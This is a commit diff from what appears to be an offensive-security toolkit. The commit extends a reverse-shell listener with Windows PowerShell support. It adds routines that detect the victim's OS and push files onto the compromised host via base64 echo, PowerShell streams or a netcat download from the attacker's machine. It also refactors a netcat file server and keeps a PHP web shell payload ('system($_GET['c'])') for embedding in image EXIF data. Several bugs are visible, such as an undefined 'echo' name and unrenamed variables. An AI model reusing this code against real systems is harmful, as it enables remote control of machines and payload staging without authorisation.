shell win impl.
This commit is contained in:
		
							parent
							
								
									ebb634aeab
								
							
						
					
					
						commit
						4fb2e30bbd
					
				| @ -2,7 +2,11 @@ import os | |||||||
| import sys | import sys | ||||||
| 
 | 
 | ||||||
| __doc__ = __doc__ or "" | __doc__ = __doc__ or "" | ||||||
| __all__ = ["util", "fileserver", "xss_handler", "rev_shell", "xp_cmdshell", "dnsserver", "sqli", "smtpserver"] | __all__ = [ | ||||||
|  |     "util", "fileserver", "xss_handler", "rev_shell",  | ||||||
|  |     "xp_cmdshell", "dnsserver", "sqli", "smtpserver",  | ||||||
|  |     "upload_file" | ||||||
|  | ] | ||||||
| 
 | 
 | ||||||
| inc_dir = os.path.dirname(os.path.realpath(__file__)) | inc_dir = os.path.dirname(os.path.realpath(__file__)) | ||||||
| sys.path.append(inc_dir) | sys.path.append(inc_dir) | ||||||
|  | |||||||
							
								
								
									
										169
									
								
								rev_shell.py
									
									
									
									
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										169
									
								
								rev_shell.py
									
									
									
									
									
								
							| @ -5,6 +5,7 @@ import os | |||||||
| import sys | import sys | ||||||
| import pty | import pty | ||||||
| import util | import util | ||||||
|  | import upload_file | ||||||
| import time | import time | ||||||
| import random | import random | ||||||
| import threading | import threading | ||||||
| @ -31,6 +32,7 @@ class ShellListener: | |||||||
|         self.connection = None |         self.connection = None | ||||||
|         self.on_connect = None |         self.on_connect = None | ||||||
|         self.features = set() |         self.features = set() | ||||||
|  |         self.os = None # we need a way to find the OS here | ||||||
| 
 | 
 | ||||||
|     def startBackground(self): |     def startBackground(self): | ||||||
|         self.listen_thread = threading.Thread(target=self.start) |         self.listen_thread = threading.Thread(target=self.start) | ||||||
| @ -41,11 +43,14 @@ class ShellListener: | |||||||
|         return feature.lower() in self.features |         return feature.lower() in self.features | ||||||
| 
 | 
 | ||||||
|     def probe_features(self): |     def probe_features(self): | ||||||
|         features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"] |         if self.os == "unix": | ||||||
|         for feature in features: |             features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"] | ||||||
|             output = self.exec_sync("whereis " + feature) |             for feature in features: | ||||||
|             if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2: |                 output = self.exec_sync("whereis " + feature) | ||||||
|                 self.features.add(feature.lower()) |                 if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2: | ||||||
|  |                     self.features.add(feature.lower()) | ||||||
|  |         else: | ||||||
|  |             print("[-] Can't probe features for os:", self.os) | ||||||
|              |              | ||||||
|     def get_features(self): |     def get_features(self): | ||||||
|         return self.features |         return self.features | ||||||
| @ -62,16 +67,33 @@ class ShellListener: | |||||||
| 
 | 
 | ||||||
|                 if self.on_connect: |                 if self.on_connect: | ||||||
|                     self.on_connect(addr) |                     self.on_connect(addr) | ||||||
| 
 |            | ||||||
|  |                 got_first_prompt = False | ||||||
|                 while self.running: |                 while self.running: | ||||||
|                     data = self.connection.recv(1024) |                     data = self.connection.recv(1024) | ||||||
|                     if not data: |                     if not data: | ||||||
|                         break |                         break | ||||||
|  |                      | ||||||
|  |                     if self.os is None and not got_first_prompt: | ||||||
|  |                         if b"Windows PowerShell" in data: | ||||||
|  |                             self.os = "win" | ||||||
|  |                         elif b"bash" in data or b"sh" in data: | ||||||
|  |                             self.os = "unix" | ||||||
|  |                          | ||||||
|  |                         if self.os and self.verbose: | ||||||
|  |                             print("OS PROBED:", self.os) | ||||||
|  | 
 | ||||||
|                     if self.verbose: |                     if self.verbose: | ||||||
|                         print("< ", data) |                         print("< ", data) | ||||||
|                     for callback in self.on_message: | 
 | ||||||
|                         callback(data) |                     if got_first_prompt:  # TODO: check this... | ||||||
|                          |                         for callback in self.on_message: | ||||||
|  |                             callback(data) | ||||||
|  |                     elif self.is_prompt(data): | ||||||
|  |                         got_first_prompt = True | ||||||
|  |                         if self.verbose: | ||||||
|  |                             print("RECV first prompt") | ||||||
|  | 
 | ||||||
|             print("[-] Disconnected") |             print("[-] Disconnected") | ||||||
|             self.connection = None |             self.connection = None | ||||||
| 
 | 
 | ||||||
| @ -96,7 +118,23 @@ class ShellListener: | |||||||
|         data += b"\n" |         data += b"\n" | ||||||
|         return self.send(data) |         return self.send(data) | ||||||
| 
 | 
 | ||||||
|  |     def is_prompt(self, data): | ||||||
|  |         if self.os == "unix": | ||||||
|  |             if data.endswith(b"# ") or data.endswith(b"$ "): | ||||||
|  |                 return True | ||||||
|  |         elif self.os == "win": | ||||||
|  |             if data.endswith(b"> "): | ||||||
|  |                 return True | ||||||
|  |          | ||||||
|  |         return False | ||||||
|  | 
 | ||||||
|     def exec_sync(self, cmd): |     def exec_sync(self, cmd): | ||||||
|  | 
 | ||||||
|  |         if self.os is None: | ||||||
|  |             print("[-] OS not probed yet, waiting...") | ||||||
|  |             while self.os is None: | ||||||
|  |                 time.sleep(0.1) | ||||||
|  | 
 | ||||||
|         output = b"" |         output = b"" | ||||||
|         complete = False |         complete = False | ||||||
| 
 | 
 | ||||||
| @ -111,12 +149,17 @@ class ShellListener: | |||||||
|                 return |                 return | ||||||
| 
 | 
 | ||||||
|             output += data |             output += data | ||||||
|             if data.endswith(b"# ") or data.endswith(b"$ "): |             if self.is_prompt(output): | ||||||
|                 complete = True |                 complete = True | ||||||
|                 if b"\n" in output: |                 if self.os == "unix": | ||||||
|                     output = output[0:output.rindex(b"\n")] |                     line_ending = b"\n" | ||||||
|                 if output.startswith(cmd + b"\n"): |                 elif self.os == "win": | ||||||
|                     output = output[len(cmd)+1:] |                     line_ending = b"\r\n" | ||||||
|  | 
 | ||||||
|  |                 if line_ending in output: | ||||||
|  |                     output = output[0:output.rindex(line_ending)] | ||||||
|  |                 if output.startswith(cmd + line_ending): | ||||||
|  |                     output = output[len(cmd)+len(line_ending):]                 | ||||||
|          |          | ||||||
|         self.on_message.append(callback) |         self.on_message.append(callback) | ||||||
|         self.sendline(cmd) |         self.sendline(cmd) | ||||||
| @ -140,34 +183,86 @@ class ShellListener: | |||||||
|             time.sleep(0.1) |             time.sleep(0.1) | ||||||
|         return self.running |         return self.running | ||||||
| 
 | 
 | ||||||
|     def write_file(self, path, data_or_fd, permissions=None): |     def get_cwd(self): | ||||||
|  |         if self.os == "unix": | ||||||
|  |             return self.exec_sync("pwd").decode() | ||||||
|  |         elif self.os == "win": | ||||||
|  |             return self.exec_sync("pwd | foreach {$_.Path}").decode() | ||||||
|  |         else: | ||||||
|  |             print("[-] get_cwd not implemented for os:", self.os) | ||||||
|  |             return None | ||||||
|  | 
 | ||||||
|  |     def write_file(self, path, data_or_fd, permissions=None, method=None, sync=False, **kwargs): | ||||||
|  | 
 | ||||||
|  |         if method == None: | ||||||
|  |             if self.os == "win": | ||||||
|  |                 method = "powershell" | ||||||
|  |             elif self.os == "unix": | ||||||
|  |                 method = "echo" | ||||||
|  |         else: | ||||||
|  |             print("[-] No method specified, assuming 'echo'") | ||||||
|  |             method = echo | ||||||
|  | 
 | ||||||
|  |         send_func = self.sendline if not sync else self.exec_sync | ||||||
| 
 | 
 | ||||||
|         def write_chunk(chunk, first=False): |         def write_chunk(chunk, first=False): | ||||||
|             # assume this is unix |  | ||||||
|             chunk = base64.b64encode(chunk).decode() |             chunk = base64.b64encode(chunk).decode() | ||||||
|             operator = ">" if first else ">>" |             if method == "powershell": | ||||||
|             self.sendline(f"echo {chunk}|base64 -d {operator} {path}") |                 send_func(f"$decodedBytes = [System.Convert]::FromBase64String('{chunk}')") | ||||||
|  |                 send_func(f"$stream.Write($decodedBytes, 0, $decodedBytes.Length)") | ||||||
|  |             else: | ||||||
|  |                 operator = ">" if first else ">>" | ||||||
|  |                 send_func(f"echo {chunk}|base64 -d {operator} {path}") | ||||||
| 
 | 
 | ||||||
|         chunk_size = 1024 |         if method == "echo" or method == "powershell": | ||||||
|         if hasattr(data_or_fd, "read"): | 
 | ||||||
|             first = True |             if method == "powershell": | ||||||
|             while True: |                 path = path.replace("'","\\'") | ||||||
|                 data = data_or_fd.read(chunk_size) |                 send_func(f"$stream = [System.IO.File]::Open('{path}', [System.IO.FileMode]::Create)") | ||||||
|                 if not data: | 
 | ||||||
|                     break |             chunk_size = 1024 | ||||||
|                 if isinstance(data, str): |             if hasattr(data_or_fd, "read"): | ||||||
|                     data = data.encode() |                 first = True | ||||||
|                 write_chunk(data, first) |                 while True: | ||||||
|                 first = False |                     data = data_or_fd.read(chunk_size) | ||||||
|             data_or_fd.close() |                     if not data: | ||||||
|  |                         break | ||||||
|  |                     if isinstance(data, str): | ||||||
|  |                         data = data.encode() | ||||||
|  |                     write_chunk(data, first) | ||||||
|  |                     first = False | ||||||
|  |                 data_or_fd.close() | ||||||
|  |             else: | ||||||
|  |                 if isinstance(data_or_fd, str): | ||||||
|  |                     data_or_fd = data_or_fd.encode() | ||||||
|  |                 for offset in range(0, len(data_or_fd), chunk_size): | ||||||
|  |                     write_chunk(data_or_fd[offset:chunk_size], offset == 0) | ||||||
|  |                      | ||||||
|  |             if method == "powershell": | ||||||
|  |                 send_func(f"$stream.Close()") | ||||||
|  | 
 | ||||||
|  |         elif method == "nc" or method == "netcat": | ||||||
|  |             ip_addr = util.get_address() | ||||||
|  |             bin_path = "nc" if not "bin_path" in kwargs else kwargs["bin_path"] | ||||||
|  |             port = None if "listen_port" not in kwargs else int(kwargs["listen_port"]) | ||||||
|  |             sock = util.open_server(ip_addr, port, retry=False) | ||||||
|  |             if not sock: | ||||||
|  |                 return False | ||||||
|  |              | ||||||
|  |             def serve_file(): | ||||||
|  |                 upload_file.serve_file(sock, data_or_fd, forever=False) | ||||||
|  | 
 | ||||||
|  |             port = sock.getsockname()[1] | ||||||
|  |             upload_thread = threading.Thread(target=serve_file) | ||||||
|  |             upload_thread.start() | ||||||
|  |             send_func(f"{bin_path} {ip_addr} {port} > {path}") | ||||||
|  |             upload_thread.join() | ||||||
|         else: |         else: | ||||||
|             if isinstance(data_or_fd, str): |             print("[-] Unknown write-file method:", method) | ||||||
|                 data_or_fd = data_or_fd.encode() |             return False | ||||||
|             for offset in range(0, len(data_or_fd), chunk_size): |  | ||||||
|                 write_chunk(data_or_fd[offset:chunk_size], offset == 0) |  | ||||||
| 
 | 
 | ||||||
|         if permissions: |         if permissions and self.os == "unix": | ||||||
|             self.sendline(f"chmod {permissions} {path}") |             send_func(f"chmod {permissions} {path}") | ||||||
| 
 | 
 | ||||||
| class ParamikoTunnelServer(SocketServer.ThreadingTCPServer): | class ParamikoTunnelServer(SocketServer.ThreadingTCPServer): | ||||||
|     daemon_threads = True |     daemon_threads = True | ||||||
| @ -367,7 +462,7 @@ if __name__ == "__main__": | |||||||
|     # choose random port |     # choose random port | ||||||
|     if listen_port is None: |     if listen_port is None: | ||||||
|         listen_port = random.randint(10000,65535) |         listen_port = random.randint(10000,65535) | ||||||
|         while util.isPortInUse(listen_port): |         while util.is_port_in_use(listen_port): | ||||||
|             listen_port = random.randint(10000,65535) |             listen_port = random.randint(10000,65535) | ||||||
| 
 | 
 | ||||||
|     payload = generate_payload(payload_type, local_address, listen_port) |     payload = generate_payload(payload_type, local_address, listen_port) | ||||||
|  | |||||||
| @ -3,37 +3,49 @@ | |||||||
| import sys | import sys | ||||||
| import os | import os | ||||||
| import util | import util | ||||||
|  | import argparse | ||||||
| 
 | 
 | ||||||
| if len(sys.argv) < 2: | def serve_file(listen_sock, path, forever=False): | ||||||
|     print("Usage: %s <file> [port]" % sys.argv[0]) |  | ||||||
|     exit(1) |  | ||||||
| 
 |  | ||||||
| # Create a TCP/IP socket |  | ||||||
| FILENAME = sys.argv[1] |  | ||||||
| 
 |  | ||||||
| # Bind the socket to the port or choose a random one |  | ||||||
| address = util.get_address() |  | ||||||
| port = None if len(sys.argv) < 3 else int(sys.argv[2]) |  | ||||||
| sock = util.openServer(address, port) |  | ||||||
| if not sock: |  | ||||||
|     exit(1) |  | ||||||
| 
 |  | ||||||
| print("Now listening, download file using:") |  | ||||||
| print('nc %s %d > %s' % (address, sock.getsockname()[1], os.path.basename(FILENAME))) |  | ||||||
| print() |  | ||||||
| 
 |  | ||||||
| while True: |  | ||||||
|     # Wait for a connection |  | ||||||
|     print('waiting for a connection') |  | ||||||
|     connection, client_address = sock.accept() |  | ||||||
| 
 |  | ||||||
|     try: |     try: | ||||||
|         print('connection from', client_address) |         while True: | ||||||
|  |             print('[ ] Waiting for a connection') | ||||||
|  |             connection, client_address = listen_sock.accept() | ||||||
| 
 | 
 | ||||||
|         with open(FILENAME, "rb") as f: |             try: | ||||||
|             content = f.read() |                 print('[+] Connection from', client_address) | ||||||
|             connection.sendall(content) |  | ||||||
| 
 | 
 | ||||||
|  |                 with open(FILENAME, "rb") as f: | ||||||
|  |                     content = f.read() | ||||||
|  |                     connection.sendall(content) | ||||||
|  | 
 | ||||||
|  |                 print("[+] File Transfer succeeded") | ||||||
|  |             finally: | ||||||
|  |                 connection.close() | ||||||
|  | 
 | ||||||
|  |             if not forever: | ||||||
|  |                 break | ||||||
|     finally: |     finally: | ||||||
|         # Clean up the connection |         listen_sock.close() | ||||||
|         connection.close() |              | ||||||
|  | if __name__ == "__main__": | ||||||
|  | 
 | ||||||
|  |     parser = argparse.ArgumentParser(description="File Transfer using netcat") | ||||||
|  |     parser.add_argument("--port", type=int, required=False, default=None, help="Listening port") | ||||||
|  |     parser.add_argument("--path", type=str, required=True, help="Path to the file you wish to upload") | ||||||
|  |     args = parser.parse_args() | ||||||
|  | 
 | ||||||
|  |     path = args.path | ||||||
|  |     if not os.path.isfile(path): | ||||||
|  |         print("[-] File not found:", path) | ||||||
|  |         exit(1) | ||||||
|  | 
 | ||||||
|  |     address = util.get_address() | ||||||
|  |     sock = util.open_server(address, args.port) | ||||||
|  |     if not sock: | ||||||
|  |         exit(1) | ||||||
|  | 
 | ||||||
|  |     print("[+] Now listening, download file using:") | ||||||
|  |     print('nc %s %d > %s' % (address, sock.getsockname()[1], os.path.basename(path))) | ||||||
|  |     print() | ||||||
|  | 
 | ||||||
|  |     serve_file(listen_sock, path, forever=True) | ||||||
|  | |||||||
							
								
								
									
										23
									
								
								util.py
									
									
									
									
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										23
									
								
								util.py
									
									
									
									
									
								
							| @ -12,13 +12,14 @@ import os | |||||||
| import io | import io | ||||||
| import json | import json | ||||||
| 
 | 
 | ||||||
| from PIL import Image | def is_port_in_use(port): | ||||||
| 
 |  | ||||||
| def isPortInUse(port): |  | ||||||
|     import socket |     import socket | ||||||
|     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: |     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: | ||||||
|         return s.connect_ex(('127.0.0.1', port)) == 0 |         return s.connect_ex(('127.0.0.1', port)) == 0 | ||||||
| 
 | 
 | ||||||
|  | def get_payload_path(path): | ||||||
|  |     return os.path.realpath(os.path.join(os.path.dirname(__file__), path)) | ||||||
|  | 
 | ||||||
| def get_address(interface={"tun0", "vpn0"}): | def get_address(interface={"tun0", "vpn0"}): | ||||||
|     if not isinstance(interface, str): |     if not isinstance(interface, str): | ||||||
|         requested = set(interface) |         requested = set(interface) | ||||||
| @ -111,28 +112,27 @@ def assert_json_path(res, path, value, err=None): | |||||||
|     err = f"[-] '{res.url}' value at path '{path}' does not match. got={json_data} expected={value}" if err is None else err |     err = f"[-] '{res.url}' value at path '{path}' does not match. got={json_data} expected={value}" if err is None else err | ||||||
|     exit_with_error(res, err) |     exit_with_error(res, err) | ||||||
| 
 | 
 | ||||||
| def openServer(address, ports=None): | def open_server(address, ports=None, retry=True): | ||||||
|     listenPort = None |     listen_port = None | ||||||
|     retry = True |  | ||||||
|     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||||||
| 
 | 
 | ||||||
|     while retry: |     while retry: | ||||||
| 
 | 
 | ||||||
|         if isinstance(ports, int): |         if isinstance(ports, int): | ||||||
|             listenPort = ports |             listen_port = ports | ||||||
|             retry = False |             retry = False | ||||||
|         elif isinstance(ports, range): |         elif isinstance(ports, range): | ||||||
|             listenPort = random.randint(ports[0],ports[-1]) |             listen_port = random.randint(ports[0], ports[-1]) | ||||||
|         elif ports is None: |         elif ports is None: | ||||||
|             listenPort = random.randint(10000,65535) |             listen_port = random.randint(10000,65535) | ||||||
| 
 | 
 | ||||||
|         try: |         try: | ||||||
|             sock.bind((address, listenPort)) |             sock.bind((address, listen_port)) | ||||||
|             sock.listen(1) |             sock.listen(1) | ||||||
|             return sock |             return sock | ||||||
|         except Exception as e: |         except Exception as e: | ||||||
|             if not retry: |             if not retry: | ||||||
|                 print("Unable to listen on port %d: %s" % (listenPort, str(e))) |                 print("[-] Unable to listen on port %d: %s" % (listenPort, str(e))) | ||||||
|             raise e |             raise e | ||||||
| 
 | 
 | ||||||
| class Stack: | class Stack: | ||||||
| @ -222,6 +222,7 @@ def base64urldecode(data): | |||||||
| 
 | 
 | ||||||
| def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None, _format=None): | def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None, _format=None): | ||||||
|     import exif |     import exif | ||||||
|  |     from PIL import Image | ||||||
| 
 | 
 | ||||||
|     if _in is None or (isinstance(_in, str) and not os.path.exists(_in)): |     if _in is None or (isinstance(_in, str) and not os.path.exists(_in)): | ||||||
|         _in = Image.new("RGB", (50,50), (255,255,255)) |         _in = Image.new("RGB", (50,50), (255,255,255)) | ||||||
|  | |||||||
| @ -88,7 +88,7 @@ if __name__ == "__main__": | |||||||
| 
 | 
 | ||||||
|     # choose random port |     # choose random port | ||||||
|     if listen_port is None: |     if listen_port is None: | ||||||
|         sock = util.openServer(local_address) |         sock = util.open_server(local_address) | ||||||
|         if not sock: |         if not sock: | ||||||
|             exit(1) |             exit(1) | ||||||
|         listen_port = sock.getsockname()[1] |         listen_port = sock.getsockname()[1] | ||||||
|  | |||||||
		Loading…
	
		Reference in New Issue
	
	Block a user